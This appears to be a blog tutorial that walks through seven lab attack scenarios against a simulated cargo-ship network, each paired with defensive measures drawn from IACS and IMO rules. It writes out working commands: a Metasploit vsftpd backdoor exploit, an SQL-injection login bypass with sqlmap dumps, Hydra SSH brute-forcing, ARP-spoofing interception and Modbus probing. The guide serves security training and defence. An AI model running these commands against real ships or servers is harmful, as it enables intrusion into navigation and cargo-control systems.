[Hacking] Practice Guide — Maritime Ship Attack Scenarios
🔬 R&D
Ship Attack Scenarios
OT/IT Security Lab
Ethical Hacking
🛠️ Hacking Practice Guide: Maritime Ship Attack Scenarios — Step-by-Step for Security Researchers
Simulated attack scenarios targeting shipboard systems — ECDIS, AIS, cargo control, and crew network — using an isolated virtual lab to understand real maritime cyber threats and build stronger defenses
Captain Ethan
Maritime 4.0 · AI, Data & Cyber Security
LinkedIn : linkedin.com/in/shipjobs
Collaborator : Lew, Julius, Jin, Morgan, Yeon
LinkedIn : linkedin.com/in/shipjobs
Collaborator : Lew, Julius, Jin, Morgan, Yeon
⚠️ Authorized Lab Use Only. All scenarios in this guide are performed exclusively within an isolated virtual environment (no real vessel, no live network). Simulating attacks on actual ships, port infrastructure, or maritime communication systems is illegal under IMO conventions, SOLAS, and national maritime laws. This research is conducted solely to identify vulnerabilities and improve defensive postures in line with IACS UR E26/E27 and IMO MSC-FAL.1/Circ.3/Rev.3.
Ships are no longer isolated mechanical systems. Modern vessels carry ECDIS, AIS transponders, GMDSS, cargo management systems, ballast control PLCs, and crew Wi-Fi networks — all increasingly interconnected. Each system is a potential attack surface. This guide walks through 7 realistic attack scenarios against a simulated ship network, showing exactly how an attacker moves from initial reconnaissance to full system compromise — and what defenders must do to stop them.
🏗️ Lab Setup — Simulated Ship Network Topology
🎯 Scenario Context
We simulate a mid-size cargo vessel's onboard network — segmented into Bridge (navigation), Engine Control Room (ECR), Cargo Management, and Crew/Admin zones. The attacker gains initial access via the crew Wi-Fi network and attempts to pivot toward critical OT systems.
We simulate a mid-size cargo vessel's onboard network — segmented into Bridge (navigation), Engine Control Room (ECR), Cargo Management, and Crew/Admin zones. The attacker gains initial access via the crew Wi-Fi network and attempts to pivot toward critical OT systems.
🖥️ Virtual Lab Architecture
| VM Role | OS / Tool | Simulates |
|---|---|---|
| Attacker | Kali Linux | External threat actor / rogue crew device |
| Target A | Metasploitable 2 | Ship management server / cargo portal |
| Target B | Windows Server 2008 VM | ECDIS workstation / bridge PC |
| OT Sim | OpenPLC + ScadaBR | Ballast / cargo pump PLC controller |
📦 Required Tools (Kali Linux — pre-installed)
nmap
metasploit
nikto
sqlmap
wireshark
hydra
bettercap
netdiscover
🎯 Scenario 1 — Network Discovery on the Ship LAN
📌 Attack Context
An attacker connects a compromised laptop to the crew Wi-Fi network via a rogue USB device or social engineering. First step: discover all active hosts on the ship LAN — including management servers, navigation PCs, and OT controllers that should never be exposed to the crew network.
An attacker connects a compromised laptop to the crew Wi-Fi network via a rogue USB device or social engineering. First step: discover all active hosts on the ship LAN — including management servers, navigation PCs, and OT controllers that should never be exposed to the crew network.
✅ Attack Steps
# Passive host discovery on ship LAN netdiscover -r 192.168.1.0/24 # Full port scan + OS/service fingerprinting nmap -sS -A -O 192.168.1.0/24 -oN ship_scan.txt # Target specific host — e.g. cargo management server nmap -sV -p 21,22,80,443,502,4840 192.168.1.100
Port 502 = Modbus (common in OT/PLC). Port 4840 = OPC-UA (industrial protocol). Presence of these on a crew-accessible segment is a critical misconfiguration.
🛡️ Defensive Countermeasure: Crew Wi-Fi must be on a fully isolated VLAN with no routing access to OT or bridge segments. IACS UR E26 mandates network segmentation between IT, OT, and passenger/crew zones. Any cross-zone communication must pass through a DMZ with firewall rules.
🎯 Scenario 2 — Exploiting the Ship Management Server (Unpatched FTP)
📌 Attack Context
The ship management server (Metasploitable) runs vsftpd 2.3.4 — a version with a known backdoor vulnerability (CVE-2011-2523). In maritime OT environments, software on shore-connected servers is often years behind on patches due to operational constraints and limited internet access at sea.
The ship management server (Metasploitable) runs vsftpd 2.3.4 — a version with a known backdoor vulnerability (CVE-2011-2523). In maritime OT environments, software on shore-connected servers is often years behind on patches due to operational constraints and limited internet access at sea.
✅ Attack Steps — Metasploit FTP Backdoor
msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.1.100 # Ship management server IP set PAYLOAD cmd/unix/interact exploit # Post-exploitation: verify access level whoami # → root cat /etc/passwd # enumerate all accounts ls /var/www/html/ # cargo portal web files cat /etc/network/interfaces # internal network topology
Root access on the management server can expose voyage data, cargo manifests, LRIT position reports, and internal network routes toward OT systems.
🛡️ Defensive Countermeasure: Disable FTP entirely — use SFTP (SSH-based). Maintain a vulnerability disclosure and patch management process as required by IACS UR E27. Even for vessels with limited connectivity, patches should be applied during port stays via controlled USB/offline update procedures.
🎯 Scenario 3 — Attacking the Cargo Portal via SQL Injection
📌 Attack Context
Many ships run an internal web-based cargo management or voyage reporting portal. These systems often use legacy PHP/MySQL stacks with insufficient input validation — making them vulnerable to SQL Injection. An attacker who gains access can manipulate cargo records, alter stowage plans, or extract dangerous goods declarations.
Many ships run an internal web-based cargo management or voyage reporting portal. These systems often use legacy PHP/MySQL stacks with insufficient input validation — making them vulnerable to SQL Injection. An attacker who gains access can manipulate cargo records, alter stowage plans, or extract dangerous goods declarations.
✅ Attack Steps — SQL Injection on Cargo Login
# Open browser → http://192.168.1.100/mutillidae (cargo portal sim) # Navigate to: Login page # Enter: Username: ' OR 1=1 -- Password: (empty) # → Bypasses authentication, logs in as admin # Automated full DB enumeration with SQLMap sqlmap -u "http://192.168.1.100/mutillidae/index.php?page=login.php" \ --forms --batch --dbs # Dump specific table (e.g. cargo_manifest) sqlmap -u "http://192.168.1.100/mutillidae/index.php?page=login.php" \ --forms --batch -D webapp -T accounts --dump
🛡️ Defensive Countermeasure: Use parameterized queries / prepared statements exclusively. Enforce input validation and WAF rules. Shore-side cargo portals with HTTPS and authenticated sessions are required under UR E27 secure integration guidelines. Conduct periodic OWASP Top 10 review of all web-facing maritime applications.
🎯 Scenario 4 — Credential Brute-Force on Bridge Remote Access (SSH)
📌 Attack Context
Many ECDIS workstations and bridge PCs expose SSH or RDP for remote maintenance by shore-side technical teams. If default credentials or weak passwords are in use — a common finding on vessels — an attacker can gain direct access to navigation systems. This scenario simulates a brute-force attack against an SSH service representing a bridge PC.
Many ECDIS workstations and bridge PCs expose SSH or RDP for remote maintenance by shore-side technical teams. If default credentials or weak passwords are in use — a common finding on vessels — an attacker can gain direct access to navigation systems. This scenario simulates a brute-force attack against an SSH service representing a bridge PC.
✅ Attack Steps — Hydra SSH Brute-Force
# Brute-force SSH with common maritime/vendor default credentials hydra -l admin -P /usr/share/wordlists/rockyou.txt \ 192.168.1.101 ssh -t 4 -V # Common maritime default usernames to try: hydra -L users.txt -P passwords.txt \ 192.168.1.101 ssh # users.txt: admin, operator, ecdis, bridge, sysadmin, root # passwords.txt: admin, 1234, password, vessel, bridge01 # Once credentials found — login and check system ssh admin@192.168.1.101 uname -a # confirm ECDIS OS netstat -rn # routing table — can we reach OT network?
🛡️ Defensive Countermeasure: Prohibit default passwords and enforce strong password policy + MFA on all remote access interfaces (IACS UR E27 §3.2). Disable SSH password authentication — use key-based authentication only. Rate-limit SSH login attempts via
fail2ban. Remote access should be routed through a ship-side VPN gateway, not exposed directly.
🎯 Scenario 5 — Man-in-the-Middle on Unencrypted Ship Traffic
📌 Attack Context
Industrial protocols used in maritime OT — Modbus, NMEA 0183, IEC 61162 — transmit data in plaintext without authentication. An attacker who has access to the network can passively capture navigation data (speed, heading, GPS position) or actively inject false commands into cargo/ballast controllers. This scenario uses ARP poisoning to intercept traffic between a PLC and its HMI.
Industrial protocols used in maritime OT — Modbus, NMEA 0183, IEC 61162 — transmit data in plaintext without authentication. An attacker who has access to the network can passively capture navigation data (speed, heading, GPS position) or actively inject false commands into cargo/ballast controllers. This scenario uses ARP poisoning to intercept traffic between a PLC and its HMI.
✅ Attack Steps — ARP Poisoning + Traffic Capture
# Enable IP forwarding (so traffic still flows to victims) echo 1 > /proc/sys/net/ipv4/ip_forward # ARP poisoning — position attacker between HMI and PLC bettercap -iface eth0 # Inside bettercap: net.probe on set arp.spoof.targets 192.168.1.50,192.168.1.51 # HMI + PLC arp.spoof on net.sniff on # Alternatively: targeted Wireshark capture wireshark -i eth0 -k -f "host 192.168.1.50 or host 192.168.1.51" # Filter for Modbus (port 502) in Wireshark display filter: # tcp.port == 502
Captured Modbus frames reveal: function codes (read/write coils), register addresses, and raw sensor values — all in plaintext.
🛡️ Defensive Countermeasure: Migrate to Modbus/TCP over TLS or OPC-UA with security mode enabled. Implement network whitelisting — only authorized HMI-to-PLC communication is permitted (UR E26 security zoning). Deploy network IDS to alert on unexpected Modbus write commands. Physical access control to OT switch ports prevents rogue device insertion.
🎯 Scenario 6 — Lateral Movement: IT to OT Pivot
📌 Attack Context
The most dangerous maritime cyber attack pattern is lateral movement from IT to OT. After compromising the management server, the attacker enumerates internal routes to identify OT controllers that are improperly segmented from the IT network. In real incidents (e.g., APM Maersk NotPetya 2017), this pivot caused global operational shutdown.
The most dangerous maritime cyber attack pattern is lateral movement from IT to OT. After compromising the management server, the attacker enumerates internal routes to identify OT controllers that are improperly segmented from the IT network. In real incidents (e.g., APM Maersk NotPetya 2017), this pivot caused global operational shutdown.
✅ Attack Steps — Pivot from Management Server to OT Segment
# From compromised management server shell (post step 2) # Discover adjacent OT network ip route # check routing table arp -a # cached ARP entries cat /etc/hosts # hostname mappings # Scan OT segment (192.168.2.0/24) via the pivot nmap -sn 192.168.2.0/24 # host discovery nmap -p 502,4840,102,20000 192.168.2.0/24 # OT protocol ports # If OpenPLC is reachable on 192.168.2.10 (port 502 — Modbus) # Use Metasploit auxiliary scanner use auxiliary/scanner/scada/modbusclient set RHOSTS 192.168.2.10 set FUNCTION READ_COILS set DATA_ADDRESS 0 run
🛡️ Defensive Countermeasure: Zero-trust architecture between IT and OT — no implicit routing. Deploy a data diode or unidirectional security gateway between the IT DMZ and OT zone. Log and alert on any new connection attempts to OT segment IPs. IACS UR E26 requires documented and enforced security zone boundaries with no unauthorized cross-zone communication.
🎯 Scenario 7 — Incident Detection, Forensics & Recovery
📌 Defender Perspective
This final scenario switches to the defender role. The SOC or ship security officer (SSO) detects anomalous activity, performs log forensics to reconstruct the attack timeline, isolates compromised systems, and executes the vessel's Cyber Incident Response Plan (CIRP) as required by IMO Rev.3 and ISM Code.
This final scenario switches to the defender role. The SOC or ship security officer (SSO) detects anomalous activity, performs log forensics to reconstruct the attack timeline, isolates compromised systems, and executes the vessel's Cyber Incident Response Plan (CIRP) as required by IMO Rev.3 and ISM Code.
✅ Incident Response Steps
# 1. DETECT — review auth and connection logs
cat /var/log/auth.log | grep "Failed\|Accepted"
last -i # login history with IPs
netstat -an | grep ESTABLISHED # active connections
# 2. IDENTIFY — find attacker footprint
grep "vsftpd" /var/log/syslog # FTP exploit trace
find /tmp /var/tmp -newer /etc/passwd # recently created files
ps aux | grep -v "^root" # unexpected processes
# 3. CONTAIN — isolate compromised host
iptables -I INPUT -s 192.168.1.200 -j DROP # block attacker IP
iptables -I OUTPUT -d 192.168.1.200 -j DROP
# 4. ERADICATE — remove backdoor artifacts
find / -name "*.sh" -newer /etc/passwd -exec ls -la {} \;
userdel -r [rogue_account] # remove added accounts
# 5. RECOVER — restore from verified backup
# Restore from pre-attack VM snapshot
# Verify checksum of critical system files
📋 CIRP Reporting Template (IMO Rev.3 Compliant)
| Incident Date/Time | [UTC timestamp] |
| Systems Affected | Management server, cargo portal |
| Attack Vector | Unpatched FTP service (CVE-2011-2523) |
| Data Potentially Exposed | Voyage data, cargo manifests, crew accounts |
| Containment Action | Host isolated, attacker IP blocked |
| Notified Parties | Ship owner, DPA, flag state, class society |
🛡️ Regulatory Note: IMO Rev.3 requires that cyber incidents be documented, reported to the Designated Person Ashore (DPA), and integrated into the ISM audit trail. IACS UR E26 requires that vessels maintain a tested and drilled Cyber Incident Response Plan — not just a written document.
🔬 Research Summary — The Maritime Attack Chain
These 7 scenarios map to a complete real-world maritime attack chain — from initial access on a crew device to potential interference with safety-critical OT systems. Each step has a direct countermeasure defined in IACS UR E26/E27 and IMO Rev.3.
- Network segmentation failures are the single largest enabler of IT-to-OT pivot attacks on ships.
- Unpatched legacy services (FTP, Telnet, outdated SSH) remain the most exploited entry point in vessel cyber audits.
- Plaintext OT protocols (Modbus, NMEA) require encryption or strict network isolation — not optional under UR E26.
- Incident response readiness — drilled, documented, and reported — is now a class requirement, not a best practice.
#MaritimeCybersecurity
#ShipHacking
#OTSecurity
#IACSE26
#IACSE27
#EthicalHacking
#PenetrationTesting
#Maritime40
#CyberResilience
Captain Ethan
Maritime 4.0 · AI, Data & Cyber Security
Maritime professional focused on the intersection of vessel operations, classification society regulations, and OT/IT cybersecurity. Writing for engineers, consultants, and operators navigating Maritime 4.0 together.
Comments
Post a Comment